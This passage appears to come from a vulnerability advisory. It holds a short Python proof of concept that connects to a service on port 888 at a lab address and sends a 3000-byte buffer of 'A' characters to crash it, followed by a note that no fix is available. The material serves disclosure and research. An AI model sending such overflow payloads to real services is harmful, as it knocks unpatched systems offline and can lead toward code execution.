2. Proof of Concept


#!/usr/bin/python

#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work.

def main():

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

   s.connect(('192.168.205.131', 888))

   buffer = "A" * 3000


   s.send(buffer)

   s.close()


if __name__ == '__main__':
   import socket

   main()








3. Solution:

No solution as of time of this writing.
